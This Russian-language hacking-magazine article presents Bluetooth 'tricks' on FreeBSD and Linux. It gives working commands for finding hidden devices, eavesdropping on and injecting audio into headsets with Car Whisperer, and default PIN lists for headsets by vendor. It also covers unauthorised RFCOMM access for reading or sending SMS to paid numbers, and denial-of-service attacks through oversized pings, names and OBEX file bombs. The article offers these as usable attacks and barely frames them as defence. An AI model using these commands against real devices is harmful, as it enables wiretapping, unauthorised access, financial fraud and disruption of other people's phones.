Долгое время Bluetooth стеки для Windows предоставляли настолько скудные возможности, что программисты просто обходили эту платформу стороной. Этим объясняется, что большинство программ для серьезных забав c «синим зубом» разрабатываются под никсовую платформу. Некоторые из хитрых приемов мы разберем именно на это платформе, а именно FreeBSD (напомню, что на диске прошлого номера мы выкладывали свежий 7.0 релиз этой ОС). Сама технология Bluetooth официально стала поддерживаться на ней только с 5-ой ветки на базе подсистемы Netgraph. Радует, что большинство USB-адаптеров совместимы с драйвером ng_ubt (его необходимо завести перед подключением устройства). Попробуем?
- Подключаем устройство: kldload ng_ubt
- Копируем сценарий подгрузки стека в удобное место: cp /usr/share/examples/netgraph/bluetooth/rc.bluetooth /usr/local/etc/rc.bluetooth
- Копируем сценарий подгрузки стека в удобное место и запускаем: sh /usr/local/etc/rc.bluetoots start ubt0
Теперь хочу познакомить тебя с утилитой hccontrol. Это одна из основных программ для работы с BT-модулем. Именно она выполняет все операции, связанные с интерфейсом HCI, и имеет следующий синтаксис: hccontrol –n . Проверим функциональность нашего устройства, просканиров эфир на наличие устройств:
hccontrol –n ubt0hci Inquiry
Как результат, утилита выведет информацию о найденных устройствах, в том числе их MAC-адреса. Надо заметить, что каждое из устройств Bluetooth, будь то хедсет или обыкновенный телефон, представляет некоторый набор сервисов. Базовый перечень включает в себя: CIP (Common ISDN Access), CTP (Cordless Telephony), DUN (dial-up networking), FAX (FAX), FTRN (Obex File Transwer), HSET (Headset), NAP (Network Access Point). Чтобы выяснить, какие сервисы предоставляет то или иное устройство, используется запрос на специальном протоколе SPD (Service Descovery Protocol). Сервер SPD работает непосредственно на машине-хосте и является исключительно информационной составляющей (повлиять на него
невозможно). Определить, какие сервисы предоставляют найденные устройства, можно с помощью соответствующей утилиты:
# spdcontrol -a browse
Трюк 5: Находим скрытые устройства
Итак, эфир мы просканировали и даже выяснили, какие сервисы доступны на активных устройствах. Но вот загвоздка! Некоторые девайсы никак не выдают своего присутствия, поскольку находятся в режиме «Undiscoverable mode» и не отвечают на широковещательные запросы. По настройкам своего телефона ты наверняка знаешь о подобной опции безопасности. Однако обнаружить такие устройства все-таки можно!
Самый известный прием их обнаружения – тупой перебор MAC-адресов, то есть последовательная посылка запросов на разные адреса из определенного диапазона. Для этого нужно использовать очень простую утилиту Redfang, которая перебирает последние шесть байт адреса устройства и таким образом обнаруживает спрятавшиеся устройства.
Другой вариант – это использовать пассивные методики: перевести свое устройство в режим ожидания, при этом назначить сети какое-нибудь привлекательное имя:
hciconfig hci0 name BT_YANDEX
hciconfig hci0 down
hciconfig hci0 up
hcidump -V | grep bdaddr
В результате отобразятся все входящие соединения, среди которых могут запросто оказаться товарищи со скрытыми идентификаторами.
Трюк 6: Перехватываем из эфира разговоры по гарнитуре
Одна из основных угроз радиотехнологий состоит в том, что данные можно перехватить. Первое, что приходит в голову, касаемо Bluetooth – прослушать разговоры людей, использующих гарнитуру. И зачастую это реально! На хакерском фестивале What the Hack в Нидерландах специалисты из группы Trifinite продемонстрировали, как при помощи ноутбука с Linux, специальной программы и направленной антенны можно подслушать, о чем говорит через Bluetooth-гарнитуру водитель проезжающего автомобиля. Группа разработала программу Car Whisperer («Автомобильный шептун»). Возможности программы относительно невелики: прослушать можно только тех, кто забыл сменить заводские пароли доступа к Bluetooth наподобие
«0000» или «1234». Но таких бедолаг, поверь, очень и очень много! «Шептун» способен вклиниться и успешно пройти «pairing» устройств, получив информацию, передаваемую с каркита или хедсета на мобилку. Хочу обратить внимание: утилита позволяет не только получить информацию, передающуюся между хедсетом и мобилой, но и инжектить туда свою. Мы решили проверить возможности этой программы, скачав Car Whisperer с сайта разработчиков.
Перед началом операции рекомендуется изменить класс своего устройства, особенно если программа будет использоваться с компьютера:
hciconfig адаптер class 0x500204
# 0x500204 — это класс «phone»
В противном случае некоторые «умные» девайсы могут заподозрить неладное. Смотрим синтаксис утилиты, который выглядит следующим образом:
./carwhisperer «что внедряем в линию» «что захватываем из линии» «адрес устройства» [канал]
Мы взяли внедряемый файл прямо из папки утилиты, а в качестве выходного указали out.raw:
./carwhisperer 0 message.raw /tmp/out.raw
00:15:0E:91:19:73
На выходе получаем файл out.raw. Прослушать его в чистом виде нельзя: необходимо преобразовать в аудио формат, для чего потребуется дополнительная утилита. Подойдут довольно многие аудио конвертеры, например SoX:
raw –r 8000 –c 1 –s –w out.raw –t wav –r
44100 –c 2 out.wav
Кроме прослушивания, можно войти в систему, просмотреть телефонную книгу и воспользоваться другими возможностями «свободных рук» с Bluetooth. Принцип такой: сначала осуществляется поиск активных устройств и проверка на предмет сервиса HS (Head Set). Далее исследуется MAC-адрес устройства и производится попытка подключения с использованием стандартного ключа. Если коннект установлен, то с устройством можно делать все, что угодно (в пределах доступного набора AT-команд).
На практике это выглядит следующим образом. Сначала осуществляется поиск всех активных гарнитур с помощью команды «sdptool search HS», которая выдает примерно такой ответ:
Inquiring .
Searching for HS on 00:0A:3A:54:71:95 .
Service Name: Headset
Service RecHandle: 0x10009
Service Class ID List:
«Headset» (0x1108)
«Generic Audio» (0x1203)
Protocol Descriptor List:
«L2CAP» (0x0100)
«RFCOMM» (0x0003)
Channel: 7
Language Base Attr List:
code_ISO639: 0x656e
encoding: 0x6a
base_offset: 0x100
Profile Descriptor List:
«Headset» (0x1108)
Version: 0x0100
Далее осуществляется попытка открыть RFCOMM соединение на SCO audio channel с помощью команды «rfcomm connect 2 00:0A:3A:54:71:95 1» и посылка нужных AT-команд. Приведу небольшую статистическую заметку о данных авторизации на некоторые модели беспроводных гарнитур:
Nokia (00:02:EE. ) — pin=»5475″
Audi UHV (00:0E:9F. ) — pin=»1234″
O’Neill (00:80:37. ) — pin=»8761″
Cellink (00:0A:94. ) — pin=»1234″
Eazix (00:0C:84. ) — pin=»1234″
Кстати говоря, тот же принцип может использоваться для несанкционированного подключения и ко всем остальным устройствам. При помощи AT-команд и протокола RFCOMM можно, к примеру, прочитать SMS-сообщение или даже отправить его с чужого телефона на платный номер, поставив владельца девайса на деньги. Будь бдителен!
Трюк 7: DDoS BT-устройств
Подход традиционен. DDoS реально провести, когда хостовый девайс («master») выполняет работу, во много раз превосходящую клиентскую. Такую ситуацию называют атакой на отказ в обслуживании (Denial Of Service). Она может подвесить телефон или привести к быстрой разрядке батарейки. Провести атаку можно несколькими способами. Начнем со стандартных средств. Самое очевидное – пинговать девайс пакетами большого размера. Сделать это можно, указав утилите l2ping в качестве параметра «-s» флаг:
# l2ping -s 10000 -b «МАС адрес»
Сама программа, как ты уже понял, является родственником ping в bluetooth среде и служит для проверки связи и наличия соединения. Другой способ, принципиально отличающийся от первого, состоит в использовании приема «fuzzing» – своеобразной техники-лотереи, потому как заранее неизвестно, что произойдет. Это новое веяние в выявлении уязвимостей в продуктах без анализа исходных кодов. Полагается техника только на интерактивное общение с объектом на понятном для него языке, но с абсолютно хаотичными аргументами и значениями-переменными. Хакерской задачей будет сделать так, чтобы видимое название телефона состояло из достаточно большого числа элементов. При обнаружении его «master’ом» в 70%
случаев происходит переполнение или отказ в обслуживании:
hciconfig hci0 name `perl -e ‘print «ash» x 3137’`
# Команда для линукса
hccontrol –n адаптер change_local_name “новое имя”)
# пример для FreeBSD
Многие телефоны по-прежнему не могут переварить файлы-бомбы. Вот простая реализация подобного приема.
- Сначала готовят «бомбу». Известный пример:
echo `perl -e ‘print «skvz» x 3137’` > file - После чего используют модифицированную утилиту для взаимодействия с OBEX – USSP PUSH (xmailserver.org/ussp-push.html)
./obextool push file 00:0A:3A:54:71:95 `perl -e ‘print «skvz» x 3137’` 3
Полную версию статьи
читай в апрельском номере Хакера!
На нашем диске ты найдешь полные версии программ, описанных в статье, а также полную подборку документации Bluetooth и уязвимостей в этой технологии.